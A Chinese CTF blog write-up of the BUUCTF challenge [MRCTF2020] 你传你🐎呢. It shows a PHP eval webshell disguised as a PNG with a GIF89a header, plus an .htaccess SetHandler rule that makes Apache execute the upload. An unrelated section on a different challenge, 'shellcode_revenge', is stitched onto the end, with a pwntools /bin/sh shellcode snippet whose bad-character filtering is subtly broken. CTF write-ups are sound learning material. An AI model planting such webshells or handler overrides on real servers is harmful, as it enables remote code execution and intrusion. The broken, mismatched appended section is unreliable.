BUUCTF之[MRCTF2020]你传你呢-------文件解析漏洞

BUUCTF之[MRCTF2020]你传你🐎呢

虽然这题对于大佬来说是属于简单题。但是对于我这种小白来说却是第一次见。算是学到东西了。所以在此记录一下,以后看到这种类似的题目也可以回来复习。。。
首先,启动挑战的项目
在这里插入图片描述
emmmmmmm这个页面很有个性。。。一开始以为只是个简单的文件上传漏洞,结果没做出来。
不管怎么样,先上传一句话木马。并且将下面的内容保存成文件1.png

GIF89a? 
<script language="php">eval($_POST['zyh']);</script>

然后该上传改文件,并且用BurpSuite来抓包
在这里插入图片描述
结果发现php php2 phtml 这些文件的后缀名都不能绕过检测。所以就直接上传1.png,抱着试试看的心态。
在这里插入图片描述
在这里插入图片描述
当我点击这个测试连接的时候,结果返回错误信息。。。。
在这里插入图片描述
挣扎了好一段时间后跑去看别人的WP才知道这题是一个文件上传里的文件解析漏洞。总结下来的经验就是更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。

来源网站:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
.htaccess是什么

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

那么现在开始写一个.htaccess文件,里面的内容为:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意里面的1.png要和你刚才上传的文件名一模一样!
现在返回到刚才的挑战页面,上传这个配置文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后flag在根目录下的flag文件下
在这里插入图片描述
在这里插入图片描述

### 关于 mrctf2020 Shellcode 题目解析 mrctf2020中的`shellcode_revenge`是一道较为复杂的逆向工程与漏洞利用相结合的题目[^1]。该题目的核心在于理解给定二进制文件的工作机制以及如何构造有效的Shellcode来绕过各种防护措施。 #### 一、环境准备 为了完成此挑战,参赛者通常需要设置一个类似的实验环境,在本地重现目标程序的行为以便更好地分析其逻辑并测试所编写Shellcode的效果。这可能涉及到安装特定版本的操作系统及其补丁级别,并禁用不必要的安全特性如ASLR(Address Space Layout Randomization),DEP(Data Execution Prevention)等。 #### 二、静态分析 通过反汇编工具(例如IDA Pro, Ghidra 或 Radare2)可以获取到可执行文件内部结构的信息,包括但不限于函数调用图谱、字符串表项以及其他有助于推断程序意图的数据片段。对于本题而言,重点是要找到能够被攻击者控制输入影响的部分——即存在缓冲区溢出或其他形式内存破坏缺陷的地方。 #### 三、动态调试 借助GDB这样的调试器可以在运行时监控应用程序状态变化情况,观察数据流走向从而验证假设是否成立;同时也可以用来辅助定位某些难以仅靠静态方法得出结论的关键位置。比如确认哪些寄存器/变量保存着重要指针值或是返回地址之类的东西。 #### 四、构建Payload 基于前面两步获得的知识点,现在应该清楚知道怎样去触发漏洞并将控制权转移到自定义代码上去了。此时就需要精心设计一段紧凑高效的机器指令序列作为最终载荷(Payload),它不仅要实现预期功能(通常是打开shell或者其他远程命令接口),而且还要考虑到实际环境中可能存在的一些限制条件,像坏字符过滤等问题都需要妥善处理好。 ```python # Python脚本用于生成payload from pwn import * context.arch = 'amd64' # 设置架构类型为x86_64 shellcode = asm(shellcraft.sh()) # 使用pwntools库自动组装简单的execve("/bin/sh") shellcode bad_chars = b'\x00\x0a\x0d' # 定义不允许出现的字节列表 filtered_shellcode = ''.join([chr(ord(c)) for c in shellcode if ord(c) not in bad_chars]) # 过滤掉非法字符 print(filtered_shellcode.encode('latin-1')) # 输出经过筛选后的shellcode供后续使用 ``` #### 五、提交Flag 当一切准备工作都完成后就可以尝试发送构造好的exploit至服务器端口等待响应了。如果成功的话将会得到交互式的shell访问权限进而读取flag文本内容完成解题过程。
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值